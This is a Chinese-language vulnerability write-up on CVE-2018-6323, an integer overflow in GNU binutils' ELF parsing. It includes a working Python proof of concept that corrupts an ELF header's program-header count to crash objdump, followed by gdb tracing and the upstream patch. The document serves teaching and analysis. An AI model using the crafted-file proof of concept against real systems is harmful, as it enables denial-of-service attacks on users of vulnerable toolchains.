CTF-All-In-One/doc/7.1.7_binutils_2018-6323.md
2018-05-19 21:22:04 +08:00

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7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞

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漏洞描述

二进制文件描述符BFD也称为libbfd中头文件 elfcode.h 中的 elf_object_p() 函数binutils-2.29.1 之前)具有无符号整数溢出,溢出的原因是没有使用 bfd_size_type 乘法。精心制作的 ELF 文件可能导致拒绝服务攻击。

漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 16.04 体系结构32 位
调试器 gdb-peda 版本号7.11.1
漏洞软件 binutils 版本号2.29.1

系统自带的版本是 2.26.1,我们这里编译安装有漏洞的最后一个版本 2.29.1

$ wget https://ftp.gnu.org/gnu/binutils/binutils-2.29.1.tar.gz
$ tar zxvf binutils-2.29.1.tar.gz
$ cd binutils-2.29.1/
$ ./configure --enable-64-bit-bfd
$ make && sudo make install
$ file /usr/local/bin/objdump
/usr/local/bin/objdump: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c2e0c7f5040cd6798b708cb29cfaeb8c28d8262b, not stripped

使用 PoC 如下:

import os
 
hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
f = open("helloWorld.c", 'w')
f.write(hello)
f.close()
 
os.system("gcc -c helloWorld.c -o test")

f = open("test", 'rb+')
f.read(0x2c)
f.write("\xff\xff") # 65535
f.read(0x244-0x2c-2)
f.write("\x00\x00\x00\x20") # 536870912
f.close()

os.system("objdump -x test")
$ python poc.py 
objdump: test: File truncated
*** Error in `objdump': free(): invalid pointer: 0x09b99aa8 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb7e35377]
/lib/i386-linux-gnu/libc.so.6(+0x6d2f7)[0xb7e3b2f7]
/lib/i386-linux-gnu/libc.so.6(+0x6dc31)[0xb7e3bc31]
objdump[0x814feab]
objdump[0x8096c10]
objdump[0x80985fc]
objdump[0x8099257]
objdump[0x8052791]
objdump[0x804c1af]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7de6637]
objdump[0x804c3ca]
======= Memory map: ========
08048000-08245000 r-xp 00000000 08:01 265097     /usr/local/bin/objdump
08245000-08246000 r--p 001fc000 08:01 265097     /usr/local/bin/objdump
08246000-0824b000 rw-p 001fd000 08:01 265097     /usr/local/bin/objdump
0824b000-08250000 rw-p 00000000 00:00 0 
09b98000-09bb9000 rw-p 00000000 00:00 0          [heap]
b7a00000-b7a21000 rw-p 00000000 00:00 0 
b7a21000-b7b00000 ---p 00000000 00:00 0 
b7b99000-b7bb5000 r-xp 00000000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7bb5000-b7bb6000 rw-p 0001b000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7bcd000-b7dcd000 r--p 00000000 08:01 133406     /usr/lib/locale/locale-archive
b7dcd000-b7dce000 rw-p 00000000 00:00 0 
b7dce000-b7f7e000 r-xp 00000000 08:01 395148     /lib/i386-linux-gnu/libc-2.23.so
b7f7e000-b7f80000 r--p 001af000 08:01 395148     /lib/i386-linux-gnu/libc-2.23.so
b7f80000-b7f81000 rw-p 001b1000 08:01 395148     /lib/i386-linux-gnu/libc-2.23.so
b7f81000-b7f84000 rw-p 00000000 00:00 0 
b7f84000-b7f87000 r-xp 00000000 08:01 395150     /lib/i386-linux-gnu/libdl-2.23.so
b7f87000-b7f88000 r--p 00002000 08:01 395150     /lib/i386-linux-gnu/libdl-2.23.so
b7f88000-b7f89000 rw-p 00003000 08:01 395150     /lib/i386-linux-gnu/libdl-2.23.so
b7f97000-b7f98000 rw-p 00000000 00:00 0 
b7f98000-b7f9f000 r--s 00000000 08:01 149142     /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache
b7f9f000-b7fa0000 r--p 002d4000 08:01 133406     /usr/lib/locale/locale-archive
b7fa0000-b7fa1000 rw-p 00000000 00:00 0 
b7fa1000-b7fa4000 r--p 00000000 00:00 0          [vvar]
b7fa4000-b7fa6000 r-xp 00000000 00:00 0          [vdso]
b7fa6000-b7fc9000 r-xp 00000000 08:01 395146     /lib/i386-linux-gnu/ld-2.23.so
b7fc9000-b7fca000 r--p 00022000 08:01 395146     /lib/i386-linux-gnu/ld-2.23.so
b7fca000-b7fcb000 rw-p 00023000 08:01 395146     /lib/i386-linux-gnu/ld-2.23.so
bff3a000-bff5b000 rw-p 00000000 00:00 0          [stack]
Aborted (core dumped)

需要注意的是如果在 configure 的时候没有使用参数 --enable-64-bit-bfd,将会出现下面的结果:

$ python poc.py 
objdump: test: File format not recognized

漏洞分析

首先要知道什么是 BFD。BFD 是 Binary File Descriptor 的简称,使用它可以在你不了解程序文件格式的情况下,读写 ELF header, program header table, section header table 还有各个 section 等。当然也可以是其他的 BFD 支持的对象文件(比如COFFa.out等。对每一个文件格式来说BFD 都分两个部分:前端和后端。前端给用户提供接口,它管理内存和规范数据结构,也决定了哪个后端被使用和什么时候后端的例程被调用。为了使用 BFD需要包括 bfd.h 并且连接的时候需要和静态库 libbfd.a 或者动态库 libbfd.so 一起连接。

看一下这个引起崩溃的二进制文件,它作为一个可重定位文件,本来不应该有 program headers但这里的 Number of program headers 这一项被修改为一个很大的值,已经超过了程序在内存中的范围:

$ file test 
test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
$ readelf -h test | grep program
readelf: Error: Out of memory reading 536870912 program headers
  Start of program headers:          0 (bytes into file)
  Size of program headers:           0 (bytes)
  Number of program headers:         65535 (536870912)

objdump 用于显示一个或多个目标文件的各种信息通常用作反汇编器但也能显示文件头符号表重定向等信息。objdump 的执行流程是这样的:

  1. 首先检查命令行参数,通过 switch 语句选择要被显示的信息。
  2. 剩下的参数被默认为目标文件,它们通过 display_bfd() 函数进行排序。
  3. 目标文件的文件类型和体系结构通过 bfd_check_format() 函数来确定。如果被成功识别,则 dump_bfd() 函数被调用。
  4. dump_bfd() 依次调用单独的函数来显示相应的信息。

回溯栈调用情况:

gdb-peda$ r -x test
gdb-peda$ bt
#0  0xb7fd9ce5 in __kernel_vsyscall ()
#1  0xb7e2eea9 in __GI_raise (sig=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#2  0xb7e30407 in __GI_abort () at abort.c:89
#3  0xb7e6a37c in __libc_message (do_abort=0x2, 
    fmt=0xb7f62e54 "*** Error in `%s': %s: 0x%s ***\n")
    at ../sysdeps/posix/libc_fatal.c:175
#4  0xb7e702f7 in malloc_printerr (action=<optimized out>, 
    str=0xb7f5f943 "free(): invalid pointer", ptr=<optimized out>, 
    ar_ptr=0xb7fb5780 <main_arena>) at malloc.c:5006
#5  0xb7e70c31 in _int_free (av=0xb7fb5780 <main_arena>, p=<optimized out>, 
    have_lock=0x0) at malloc.c:3867
#6  0x0814feab in objalloc_free (o=0x8250800) at ./objalloc.c:187
#7  0x08096c10 in bfd_hash_table_free (table=0x8250a4c) at hash.c:426
#8  0x080985fc in _bfd_delete_bfd (abfd=abfd@entry=0x8250a08) at opncls.c:125
#9  0x08099257 in bfd_close_all_done (abfd=0x8250a08) at opncls.c:773
#10 0x08052791 in display_file (filename=0xbffff136 "test", target=<optimized out>, 
    last_file=0x1) at ./objdump.c:3726
#11 0x0804c1af in main (argc=0x3, argv=0xbfffef04) at ./objdump.c:4015
#12 0xb7e1b637 in __libc_start_main (main=0x804ba50 <main>, argc=0x3, argv=0xbfffef04, 
    init=0x8150fd0 <__libc_csu_init>, fini=0x8151030 <__libc_csu_fini>, 
    rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbfffeefc) at ../csu/libc-start.c:291
#13 0x0804c3ca in _start ()

一步一步追踪函数调用:

// binutils/objdump.c

int
main (int argc, char **argv)
{
  [...]
  while ((c = getopt_long (argc, argv,
			   "pP:ib:m:M:VvCdDlfFaHhrRtTxsSI:j:wE:zgeGW::",
			   long_options, (int *) 0))
	 != EOF)
    {
      switch (c)
	{
  [...]
	case 'x':
	  dump_private_headers = TRUE;
	  dump_symtab = TRUE;
	  dump_reloc_info = TRUE;
	  dump_file_header = TRUE;
	  dump_ar_hdrs = TRUE;
	  dump_section_headers = TRUE;
	  seenflag = TRUE;
	  break;
  [...]
	}
    }

  if (formats_info)
    exit_status = display_info ();
  else
    {
      if (optind == argc)
	display_file ("a.out", target, TRUE);
      else
	for (; optind < argc;)
	  {
	    display_file (argv[optind], target, optind == argc - 1);
	    optind++;
	  }
    }

    [...]
}
// binutils/objdump.c

static void
display_file (char *filename, char *target)
{
  bfd *file;

  [...]
  file = bfd_openr (filename, target);
  [...]
  display_any_bfd (file, 0);

  if (! last_file)
    bfd_close (file);
  else
    bfd_close_all_done (file);
}
// binutils/objdump.c

static void
display_any_bfd (bfd *file, int level)
{
  /* Decompress sections unless dumping the section contents.  */
  if (!dump_section_contents)
    file->flags |= BFD_DECOMPRESS;

  /* If the file is an archive, process all of its elements.  */
  if (bfd_check_format (file, bfd_archive))
    {
      [...]
    }
  else
    display_object_bfd (file);
}

最关键的部分,读取 program headers 的逻辑如下:

// binutils/objdump.c

  /* Read in the program headers.  */
  if (i_ehdrp->e_phnum == 0)
    elf_tdata (abfd)->phdr = NULL;
  else
    {
      Elf_Internal_Phdr *i_phdr;
      unsigned int i;

#ifndef BFD64
      if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr))
	goto got_wrong_format_error;
#endif
      amt = i_ehdrp->e_phnum * sizeof (*i_phdr);  // <-- 整型溢出点
      elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
      if (elf_tdata (abfd)->phdr == NULL)
	goto got_no_match;
      if (bfd_seek (abfd, (file_ptr) i_ehdrp->e_phoff, SEEK_SET) != 0)
	goto got_no_match;
      i_phdr = elf_tdata (abfd)->phdr;
      for (i = 0; i < i_ehdrp->e_phnum; i++, i_phdr++)
	{
	  Elf_External_Phdr x_phdr;

	  if (bfd_bread (&x_phdr, sizeof x_phdr, abfd) != sizeof x_phdr)
	    goto got_no_match;
	  elf_swap_phdr_in (abfd, &x_phdr, i_phdr);
	}
    }

因为伪造的数值 0xffff 大于 0进入读取 program headers 的代码。然后在溢出点乘法运算前eax 为伪造的数值 0x20000000

gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x20000000 ('')
EBX: 0x8250a08 --> 0x8250810 ("test")
ECX: 0xd ('\r')
EDX: 0x5f ('_')
ESI: 0x8250ac8 --> 0x464c457f 
EDI: 0xd ('\r')
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>:	add    esi,0x15815)
EIP: 0x80aeba0 (<bfd_elf32_object_p+1856>:	imul   eax,eax,0x38)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80aeb90 <bfd_elf32_object_p+1840>:	or     DWORD PTR [ebx+0x28],0x800
   0x80aeb97 <bfd_elf32_object_p+1847>:	jmp    0x80ae613 <bfd_elf32_object_p+435>
   0x80aeb9c <bfd_elf32_object_p+1852>:	lea    esi,[esi+eiz*1+0x0]
=> 0x80aeba0 <bfd_elf32_object_p+1856>:	imul   eax,eax,0x38
   0x80aeba3 <bfd_elf32_object_p+1859>:	sub    esp,0x4
   0x80aeba6 <bfd_elf32_object_p+1862>:	xor    edx,edx
   0x80aeba8 <bfd_elf32_object_p+1864>:	push   edx
   0x80aeba9 <bfd_elf32_object_p+1865>:	push   eax
[------------------------------------stack-------------------------------------]
0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>:	add    esi,0x15815)
0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f 
0008| 0xbfffec28 --> 0xd ('\r')
0012| 0xbfffec2c --> 0x0 
0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t')
0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test")
0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
780	      elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);

做乘法运算,0x20000000 * 0x38 = 0x700000000,产生溢出。截断后高位的 0x7 被丢弃, eax 为 0x00000000,且 OVERFLOW 的标志位被设置:

gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x8250a08 --> 0x8250810 ("test")
ECX: 0xd ('\r')
EDX: 0x5f ('_')
ESI: 0x8250ac8 --> 0x464c457f 
EDI: 0xd ('\r')
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>:	add    esi,0x15815)
EIP: 0x80aeba3 (<bfd_elf32_object_p+1859>:	sub    esp,0x4)
EFLAGS: 0xa07 (CARRY PARITY adjust zero sign trap INTERRUPT direction OVERFLOW)
[-------------------------------------code-------------------------------------]
   0x80aeb97 <bfd_elf32_object_p+1847>:	jmp    0x80ae613 <bfd_elf32_object_p+435>
   0x80aeb9c <bfd_elf32_object_p+1852>:	lea    esi,[esi+eiz*1+0x0]
   0x80aeba0 <bfd_elf32_object_p+1856>:	imul   eax,eax,0x38
=> 0x80aeba3 <bfd_elf32_object_p+1859>:	sub    esp,0x4
   0x80aeba6 <bfd_elf32_object_p+1862>:	xor    edx,edx
   0x80aeba8 <bfd_elf32_object_p+1864>:	push   edx
   0x80aeba9 <bfd_elf32_object_p+1865>:	push   eax
   0x80aebaa <bfd_elf32_object_p+1866>:	push   ebx
[------------------------------------stack-------------------------------------]
0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>:	add    esi,0x15815)
0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f 
0008| 0xbfffec28 --> 0xd ('\r')
0012| 0xbfffec2c --> 0x0 
0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t')
0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test")
0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080aeba3	780	      elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);

于是,在随后的 bfd_alloc() 调用时,第二个参数即大小为 0分配不成功

// bfd/opncls.c

void *bfd_alloc (bfd *abfd, bfd_size_type wanted);
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x8250a08 --> 0x8250810 ("test")
ECX: 0xd ('\r')
EDX: 0x0 
ESI: 0x8250ac8 --> 0x464c457f 
EDI: 0xd ('\r')
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
ESP: 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test")
EIP: 0x80aebab (<bfd_elf32_object_p+1867>:	call   0x8099540 <bfd_alloc>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80aeba8 <bfd_elf32_object_p+1864>:	push   edx
   0x80aeba9 <bfd_elf32_object_p+1865>:	push   eax
   0x80aebaa <bfd_elf32_object_p+1866>:	push   ebx
=> 0x80aebab <bfd_elf32_object_p+1867>:	call   0x8099540 <bfd_alloc>
   0x80aebb0 <bfd_elf32_object_p+1872>:	mov    DWORD PTR [esi+0x50],eax
   0x80aebb3 <bfd_elf32_object_p+1875>:	mov    eax,DWORD PTR [ebx+0xa0]
   0x80aebb9 <bfd_elf32_object_p+1881>:	add    esp,0x10
   0x80aebbc <bfd_elf32_object_p+1884>:	mov    ecx,DWORD PTR [eax+0x50]
Guessed arguments:
arg[0]: 0x8250a08 --> 0x8250810 ("test")
arg[1]: 0x0 
arg[2]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test")
0004| 0xbfffec14 --> 0x0 
0008| 0xbfffec18 --> 0x0 
0012| 0xbfffec1c --> 0x80aea71 (<bfd_elf32_object_p+1553>:	mov    eax,DWORD PTR [esi+0x28])
0016| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>:	add    esi,0x15815)
0020| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f 
0024| 0xbfffec28 --> 0xd ('\r')
0028| 0xbfffec2c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080aebab	780	      elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);

在后续的过程中,从 bfd_close_all_done()objalloc_free(),用于清理释放内存,其中就对 bfd_alloc() 分配的内存区域进行了 free() 操作,而这又是一个不存在的地址,于是抛出了异常。

补丁

该漏洞在 binutils-2.30 中被修复,补丁将 i_ehdrp->e_shnum 转换成 unsigned long 类型的 bfd_size_type从而避免整型溢出。BFD 开发文件包含在软件包 binutils-dev 中:

// /usr/include/bfd.h
typedef unsigned long bfd_size_type;

由于存在回绕,一个无符号整数表达式永远无法求出小于零的值,也就不会产生溢出。

所谓回绕,可以看下面这个例子:

unsigned int ui;
ui = UINT_MAX;  // 在 32 位上为 4 294 967 295
ui++;
printf("ui = %u\n", ui);  // ui = 0
ui = 0;
ui--;
printf("ui = %u\n", ui);  // 在 32 位上ui = 4 294 967 295

补丁如下:

$ git show 38e64b0ecc7f4ee64a02514b8d532782ac057fa2 bfd/elfcode.h
commit 38e64b0ecc7f4ee64a02514b8d532782ac057fa2
Author: Alan Modra <amodra@gmail.com>
Date:   Thu Jan 25 21:47:41 2018 +1030

    PR22746, crash when running 32-bit objdump on corrupted file
    
    Avoid unsigned int overflow by performing bfd_size_type multiplication.
    
        PR 22746
        * elfcode.h (elf_object_p): Avoid integer overflow.

diff --git a/bfd/elfcode.h b/bfd/elfcode.h
index 00a9001..ea1388d 100644
--- a/bfd/elfcode.h
+++ b/bfd/elfcode.h
@@ -680,7 +680,7 @@ elf_object_p (bfd *abfd)
       if (i_ehdrp->e_shnum > ((bfd_size_type) -1) / sizeof (*i_shdrp))
        goto got_wrong_format_error;
 #endif
-      amt = sizeof (*i_shdrp) * i_ehdrp->e_shnum;
+      amt = sizeof (*i_shdrp) * (bfd_size_type) i_ehdrp->e_shnum;
       i_shdrp = (Elf_Internal_Shdr *) bfd_alloc (abfd, amt);
       if (!i_shdrp)
        goto got_no_match;
@@ -776,7 +776,7 @@ elf_object_p (bfd *abfd)
       if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr))
        goto got_wrong_format_error;
 #endif
-      amt = i_ehdrp->e_phnum * sizeof (*i_phdr);
+      amt = (bfd_size_type) i_ehdrp->e_phnum * sizeof (*i_phdr);
       elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
       if (elf_tdata (abfd)->phdr == NULL)
        goto got_no_match;

打上补丁之后的 objdump 没有再崩溃:

$ objdump -v | head -n 1
GNU objdump (GNU Binutils) 2.30
$ objdump -x test 
objdump: test: Memory exhausted

参考资料